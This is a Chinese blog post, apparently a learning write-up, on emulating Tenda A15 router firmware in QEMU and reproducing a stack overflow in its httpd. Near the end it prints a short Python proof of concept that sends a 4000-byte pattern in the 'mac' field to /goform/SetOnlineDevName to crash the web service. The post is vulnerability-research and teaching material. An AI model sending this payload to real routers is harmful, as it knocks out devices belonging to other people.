IOT漏洞挖掘初体验-Tenda A15

refer:IOT漏洞挖掘初体验-Tenda A15 \| Zach0ry's blog(https://zach0ry-zzh.github.io/2026/04/04/Tenda A15 固件模拟与漏洞复现/)

[原创分享注意分享Tenda A15 固件模拟与漏洞复现-二进制漏洞-看雪安全社区|专业技术交流与安全研究论坛](https://bbs.kanxue.com/thread-290714.htm "原创][分享][注意][分享]Tenda A15 固件模拟与漏洞复现-二进制漏洞-看雪安全社区|专业技术交流与安全研究论坛")

前言

最近在pwn大手子的带领下逐渐学习物联网安全,想着先复现一个典型漏洞看看。

首先需要准备以下工作:
1.安装binwalk

binwalk是一把利刃。kali内置了binwalk,如果直接sudo apt install binwalk可能会使用的时候报错,原因可能是因为python包环境冲突,解决办法是删除冲突的环境,这里以我的为例:

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| python3 -m pip uninstall -y binwalk rm -rf ~/.local/lib/python3.12/site-packages/binwalk* sudo apt install --reinstall python3-binwalk binwalk -y hash -r |

2.安装sasquatch

直接克隆仓库即可

|--------------------------------------------------------------------------|
| git clone https://github.com/devttys0/sasquatch.git cd sasquatch |

我当时报了这个错误:

这里参考了https://xu17.top/2025/02/15/IOT%20%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90%E8%A7%A3%E5%8E%8B%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/的解决办法

如下:

(虽然还会继续报错但是不影响日常使用了)

|---------------------------------------------------------------------------------------------------------------------------------|
| #在sasquatch 目录 sudo wget https://github.com/devttys0/sasquatch/pull/47.patch sudo patch -p1 < 47.patch sudo ./build.sh |

输入which sasquatch正常回显就说明成功了

3.qemu

这里需要安装qemu-mipsel-static qemu-system-mipsel这俩工具,用于在不同的系统架构上去模拟,用来执行目标程序

安装方法可以问AI,这里不多说了

固件解包与环境模拟

输入命令:binwalk -Me IOT.bin解包固件,出来一个文件系统

固件下载地址:https://static.tenda.com.cn/tdeweb/download/A15/US_A15V1.0RTL_V15.13.07.13_multi_TD01.zip

这里咱们需要关注bin目录下的httpd文件

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| > file httpd httpd: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, with debug_info, not stripped |

通过file命令,足以看出这是32位可执行文件,我们还可用checksec辅助判断一下:

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| > pwn checksec httpd [*] '/home/kali/Downloads/_US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin.extracted/squashfs-root/bin/httpd' Arch: mips-32-little RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments |

说实话明显看出可能存在栈漏洞,具体的还需要进入程序分析

看到这是main函数,接下来用qemu模拟

需要注意,我们由于提取出了完整的文件系统,这里一般要把根目录设置成文件系统的路径,在这里至少先模拟出程序的运行环境

将 x86 架构下的 MIPS 翻译器(QEMU)复制到当前假根目录中:

|------------------------------------------|
| cp $(which qemu-mipsel-static) . |

然后运行:> sudo chroot . ./qemu-mipsel-static ./bin/httpd

不出意外的话会报错:

这里是因为我们qemu直接模拟执行,缺乏"开机"这个步骤,这个步骤会生成一些必须文件等关键操作,可以参考本文引用的两篇文章的描述:

在真实的 IoT 设备中,根文件系统(也就是提取出来的 squashfs)通常是只读的(Read-Only)

但是,httpd 服务在运行时,必须生成一些动态数据,比如:

  • 记录当前进程号的 PID 文件
  • 用户的 Session 缓存、临时上传的配置文件。
  • 运行时的网络状态(/var/run)。

真实路由器的做法 :在系统刚通电开机时,操作系统的启动脚本(init)会在内存中划分出一块区域(tmpfs,也就是内存虚拟盘),然后把 /var/tmp 等需要频繁读写的目录挂载到这个内存盘上。接着,它会把出厂默认的配置文件(存放在以 _ro 即 Read-Only 结尾的目录里)复制到真正的运行目录中。

我们的模拟环境 :提取出的 squashfs-root 只是固件在关机状态下的静态文件。它缺少了开机时动态创建的那些目录,而且真正的配置文件还在 etc_ro 里睡大觉,真正的网页文件还在 webroot_ro 里。

在目录etc_ro中有init.d目录,其中的文件就是启动项,但是不能直接去启动它,因为它包含 mount -t ramfs 等命令会因为权限问题报错并且/sbin/etc 等绝对路径与实际不符合

解决办法是补环境

查看etc_ro内的文件:这就是开机初始化脚本rCs

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| #! /bin/sh PATH=/sbin:/bin:/usr/sbin:/usr/bin/ export PATH mount -t ramfs none /var/ mkdir -p /var/etc mkdir -p /var/media mkdir -p /var/webroot mkdir -p /var/etc/iproute mkdir -p /var/run mkdir -p /etc/udhcpc mkdir -p /var/debug cp -rf /etc_ro/* /etc/ cp -rf /webroot_ro/* /webroot/ umount -f /tmp mount -t tmpfs none /tmp -o size=3M mount -a mount -t ramfs /dev mkdir /dev/pts mount -t devpts devpts /dev/pts mdev -s mkdir /var/run echo '/sbin/mdev' > /proc/sys/kernel/hotplug #echo 'sd[a-z][0-9] 0:0 0660 @/usr/sbin/autoUsb.sh $MDEV' >> /etc/mdev.conf #echo 'sd[a-z] 0:0 0660 $/usr/sbin/DelUsb.sh $MDEV' >> /etc/mdev.conf #echo 'lp[0-9] 0:0 0660 */usr/sbin/IppPrint.sh'>> /etc/mdev.conf #wds rule start #echo 'wds*.* 0:0 0660 */etc/wds.sh $ACTION $INTERFACE' > /etc/mdev.conf #wsd rule end echo 'sd[a-z][0-9] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH' >> /etc/mdev.conf echo '-sd[a-z] 0:0 0660 $/usr/sbin/usb_down.sh $MDEV $DEVPATH'>> /etc/mdev.conf echo 'sd[a-z] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH'>> /etc/mdev.conf echo '.* 0:0 0660 */usr/sbin/IppPrint.sh $ACTION $INTERFACE'>> /etc/mdev.conf mkdir -p /var/ppp # insmod /lib/modules/fastnat.ko insmod /lib/modules/bm.ko #insmod /lib/modules/ai.ko # insmod /lib/modules/mac_filter.ko #insmod /lib/modules/ip_mac_bind.ko # insmod /lib/modules/privilege_ip.ko # insmod /lib/modules/qos.ko # insmod /lib/modules/url_filter.ko # insmod /lib/modules/loadbalance.ko #insmod /lib/modules/app_filter.ko #insmod /lib/modules/port_filter.ko #insmod /lib/modules/arp_fence.ko #insmod /lib/modules/ddos_ip_fence.ko echo "enable 0 interval 0" >/proc/watchdog_cmd chmod +x /etc/mdev.conf /* BUG[41877]:DUT播放组播视频,概率性出现有线PC无法进入管理界面 解决SWITCH WAN口学到IP地址和BR0相同的arp表的问题 */ echo 2 > /proc/sys/net/ipv4/conf/eth1/arp_ignore |

看大佬的博客,解决办法如下:

1。先按照启动脚本的思路,补充一些文件/文件夹

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| mkdir -p ./var/etc mkdir -p ./var/media mkdir -p ./var/webroot mkdir -p ./var/etc/iproute mkdir -p ./var/run mkdir -p ./var/etc/udhcpc mkdir -p ./var/debug mkdir -p ./dev/pts mkdir -p ./var/ppp mkdir -p ./tmp cp -rf ./etc_ro/* ./var/etc/ cp -rf ./webroot_ro/* ./var/webroot |

2。挂载(Mount):给程序装上"传感器,procsysdev ,路由器程序(httpd)运行的时候,会去 /proc 里看系统状态。如果不挂载,它看到的文件夹就是空的,它会觉得自己跑在一个"死掉"的系统里,然后直接报错退出。

|-----------------------------------------------------------------------------------------------------|
| sudo mount -t proc /proc ./proc sudo mount -t sysfs /sys ./sys sudo mount --bind /dev ./dev |

3.软链接

|----------------------------------------------|
| sudo ln -snf ./var/webroot ./webroot |

4.网卡接口配置

为了"伪造"出路由器程序赖以生存的硬件环境,并打通与该程序之间的通信链路,让固件正常运行,我们必须在 Linux 内核中伪造出它所需的网络拓扑

可以看到是br0和80端口

运行下列命令:

|----------------------------------------------------------------------------------------------|
| sudo brctl addbr br0 sudo ip addr add 192.168.0.1/24 dev br0 sudo ip link set br0 up |

继续运行:sudo chroot . ./qemu-mipsel-static ./bin/httpd

可以在相应的IP访问到网站,说明绑定成功:

Tenda_AC15漏洞复现 | Thir0th's Blog师傅博客,可以patch下httpd以便捷搭建复现环境,但是我没有尝试

漏洞分析

首先进入initwebs函数分析(main函数调用,通过函数名推测是一个初始化函数)

这里面还有一张这就是腾达(Tenda)路由器网页后台的「功能菜单总表」

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| void formDefineTendDa() { websAspDefine("aspGetCharset", aspGetCharset); websFormDefine("getOnlineList", formGetOnlineList); websAspDefine("asp_error_message", asp_error_message); websAspDefine("asp_error_redirect_url", asp_error_redirect_url); websFormDefine("SetOnlineDevName", formSetDeviceName); websFormDefine("setBlackRule", formAddMacfilterRule); websFormDefine("delBlackRule", formDelMacfilterRule); websFormDefine("getBlackRuleList", formGetMacfilterRuleList); websFormDefine("getDeviceInfo", formGetDeviceInfo); websFormDefine("telnet", TendaTelnet); websFormDefine("SysToolReboot", fromSysToolReboot); websFormDefine("SysToolRestoreSet", fromSysToolRestoreSet); websFormDefine("SysToolChangePwd", fromSysToolChangePwd); websFormDefine("SysToolSetUpgrade", fromSysToolSetUpgrade); websFormDefine("WifiBasicGet", formWifiBasicGet); websFormDefine("WifiBasicSet", formWifiBasicSet); websFormDefine("WifiApScan", formWifiApScan); websFormDefine("ate", TendaAte); websFormDefine("setApModeCfg", fromsetApModeCfg); websFormDefine("getApModeCfg", fromgetApModeCfg); websFormDefine("WifiExtraSet", fromSetWirelessRepeat); websFormDefine("getQuicksetBridge", fromGetWirelessRepeat); websFormDefine("getStatusBeforeBridge", fromGetWirelessRepeat); websFormDefine("exit", formExit); websFormDefine("hasLoginPwd", formhasLoginPwd); websFormDefine("loginOut", fromLoginOut); websFormDefine("sysToolsInfo", fromSysToolsInfo); } |

大佬说关注set之类的函数,和数据读写有关,可能存在栈溢出这种漏洞

分析处理SetOnlineDevName 请求的formSetDeviceName 函数,其中的set_device_name发现漏洞

在常规 Pwn 题里,接收输入的是 read(0, buf, size) 或者 gets(buf),直接从标准输入流读。

而在 Tenda 路由器的 formSetDeviceName 函数里,它绝对不会调用 scanfread 等待你输入。websFormHandler 会把 HTTP POST 请求全部接收完毕,并解析成了内存里的一个字典结构

这是大佬给的POC:

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| import requests from pwn import cyclic ip = '192.168.0.1' # 填网桥 IP url = f'http://{ip}/goform/SetOnlineDevName' # 结合优势:攻击 mac 字段,并使用 4000 字节的超大探针! payload = { "mac": cyclic(4000), "devName": "devname1" } print("[*] 正在发送 4000 字节的终极探针...") try: requests.post(url=url , data=payload, timeout=2) except Exception: print("[+] 目标已彻底断开,绝对当场暴毙!") |

如果失败,需要patch一下程序的某个字节

看大佬博客,是在下图抛出错误的

需要nop掉灰色方框的语句

相关推荐
上海合宙LuatOS1 天前
Air8000多网通信- Netdrv
物联网·luatos·多网融合
TDengine (老段)1 天前
TDengine WAL 预写日志机制 — 持久性保障与崩溃恢复
大数据·数据库·物联网·时序数据库·iot·tdengine·涛思数据
Geometry Fu1 天前
《物联网安全》第3.1章 RFID安全
物联网·安全·rfid
平安的平安1 天前
从“数据孤岛“到“数据融合“:DolphinDB 多模引擎如何打通工业物联网的“任督二脉“
物联网
仰泳之鹅1 天前
【物联网】使用ESP8266与云平台通信
物联网
龙亘川1 天前
物联网数据接入:亘川一网统管平台与各类终端设备的适配逻
物联网·智慧城市·技术架构
TDengine (老段)1 天前
TDengine 数据文件格式 — TSDB 文件集的物理结构与块编码
大数据·数据库·物联网·时序数据库·iot·tdengine·涛思数据
KaMeidebaby1 天前
卡梅德生物技术快报|斑点杂交 + 膜芯片:6 种水果源性成分检测技术实操拆解
前端·人工智能·物联网·其他·百度·新浪微博
2603_954708311 天前
边缘计算在微电网架构中的应用:低时延控制的技术支撑
人工智能·物联网·架构·能源·边缘计算
MetrixAeroCore2 天前
海外安防监控项目,用什么物联网卡能保证视频画面不卡顿?
物联网